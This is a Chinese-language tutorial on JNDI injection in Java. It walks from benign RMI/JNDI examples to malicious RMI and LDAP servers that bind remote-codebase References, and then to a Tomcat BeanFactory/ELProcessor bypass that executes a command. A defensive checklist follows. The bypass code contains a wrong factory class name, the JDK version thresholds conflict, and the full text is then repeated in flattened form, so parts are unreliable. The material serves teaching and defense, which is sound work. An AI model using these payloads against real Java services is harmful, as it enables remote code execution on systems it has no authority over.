java安全-JNDI注入
字数 989 2025-08-29 22:41:38

JNDI注入安全漏洞详解

1. JNDI基础概念

JNDI (Java Naming and Directory Interface) 是Java提供的一个API,核心思想是通过名称映射到对象,实现资源的查找和访问。

1.1 JNDI与RMI结合

JNDI可以通过RMI (Remote Method Invocation) 查找远程服务,以下是基本实现示例:

远程接口定义

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
    public String sayHello(String keywords) throws RemoteException;
}

接口实现类

import java.io.Serializable;
import java.rmi.RemoteException;

public class RemoteObjImpl implements IRemoteObj, Serializable {
    @Override
    public String sayHello(String keywords) throws RemoteException {
        return "hello " + keywords;
    }
}

RMI服务器端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws Exception {
        final RemoteObjImpl remoteObj = new RemoteObjImpl();
        final Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj", remoteObj);
        
        // 保持服务器运行
        while (true) {}
    }
}

RMI客户端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiClient {
    public static void main(String[] args) throws Exception {
        final Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        final IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

1.2 JNDI服务绑定RMI

JNDI服务端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        final InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
    }
}

JNDI客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        final InitialContext initialContext = new InitialContext();
        final IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

2. JNDI注入漏洞原理

当JNDI客户端的lookup()方法参数可控时,攻击者可以构造恶意RMI或LDAP地址,导致远程代码执行。

2.1 基本攻击方式

恶意JNDI服务端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        final InitialContext initialContext = new InitialContext();
        final Reference reference = new Reference("evil", "evil", "http://localhost:8081/");
        initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
    }
}

当客户端访问该RMI服务时,会自动加载恶意引用对象,从指定URL下载并执行恶意代码。

2.2 LDAP协议绕过(JDK 8u191之前)

在JDK 8u191之前,LDAP协议也可用于JNDI注入攻击:

LDAP服务端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDILDAPServer {
    public static void main(String[] args) throws NamingException {
        final InitialContext initialContext = new InitialContext();
        final Reference reference = new Reference("evil", "evil", "http://localhost:8081/");
        initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", reference);
    }
}

LDAP客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDILDAPClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        final InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
    }
}

3. 高版本JDK绕过技术(8u251+)

高版本JDK限制了远程RMI和LDAP的访问,但仍有绕过方法:

3.1 使用Tomcat的BeanFactory

利用Tomcat自带的BeanFactory类中的getObjectInstance方法,通过EL表达式执行命令:

绕过示例

import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;

public class JNDILDAPServerBypass {
    public static void main(String[] args) throws NamingException {
        final InitialContext initialContext = new InitialContext();
        final ResourceRef resourceRef = new ResourceRef(
            "javax.el.ELProcessor", 
            null,
            true, 
            "org.apache.naming.factory.BeanFactory.java", 
            null
        );
        
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
        
        initialContext.bind("rmi://localhost:1099/remoteObj", resourceRef);
    }
}

4. 防御措施

  1. 升级JDK:使用JDK 8u191及以上版本,限制JNDI远程访问
  2. 输入验证:严格校验lookup()方法的参数,禁止用户控制JNDI查找地址
  3. 安全配置
    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.cosnaming.object.trustURLCodebase=false
  4. 代码审计:检查所有使用JNDI查找的代码,确保参数不可控
  5. 使用白名单:限制JNDI只能访问可信的命名和目录服务

5. 漏洞利用场景

  1. 反序列化漏洞中的JNDI注入
  2. 日志框架中的JNDI查找(如Log4j漏洞)
  3. 动态加载外部资源的应用
  4. 使用JNDI查找LDAP/RMI服务的应用

通过深入理解JNDI工作机制和注入原理,可以更好地防御此类安全漏洞。

JNDI注入安全漏洞详解 1. JNDI基础概念 JNDI (Java Naming and Directory Interface) 是Java提供的一个API,核心思想是通过名称映射到对象,实现资源的查找和访问。 1.1 JNDI与RMI结合 JNDI可以通过RMI (Remote Method Invocation) 查找远程服务,以下是基本实现示例: 远程接口定义 : 接口实现类 : RMI服务器端 : RMI客户端 : 1.2 JNDI服务绑定RMI JNDI服务端 : JNDI客户端 : 2. JNDI注入漏洞原理 当JNDI客户端的 lookup() 方法参数可控时,攻击者可以构造恶意RMI或LDAP地址,导致远程代码执行。 2.1 基本攻击方式 恶意JNDI服务端 : 当客户端访问该RMI服务时,会自动加载恶意引用对象,从指定URL下载并执行恶意代码。 2.2 LDAP协议绕过(JDK 8u191之前) 在JDK 8u191之前,LDAP协议也可用于JNDI注入攻击: LDAP服务端 : LDAP客户端 : 3. 高版本JDK绕过技术(8u251+) 高版本JDK限制了远程RMI和LDAP的访问,但仍有绕过方法: 3.1 使用Tomcat的BeanFactory 利用Tomcat自带的 BeanFactory 类中的 getObjectInstance 方法,通过EL表达式执行命令: 绕过示例 : 4. 防御措施 升级JDK :使用JDK 8u191及以上版本,限制JNDI远程访问 输入验证 :严格校验 lookup() 方法的参数,禁止用户控制JNDI查找地址 安全配置 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.cosnaming.object.trustURLCodebase=false 代码审计 :检查所有使用JNDI查找的代码,确保参数不可控 使用白名单 :限制JNDI只能访问可信的命名和目录服务 5. 漏洞利用场景 反序列化漏洞中的JNDI注入 日志框架中的JNDI查找(如Log4j漏洞) 动态加载外部资源的应用 使用JNDI查找LDAP/RMI服务的应用 通过深入理解JNDI工作机制和注入原理,可以更好地防御此类安全漏洞。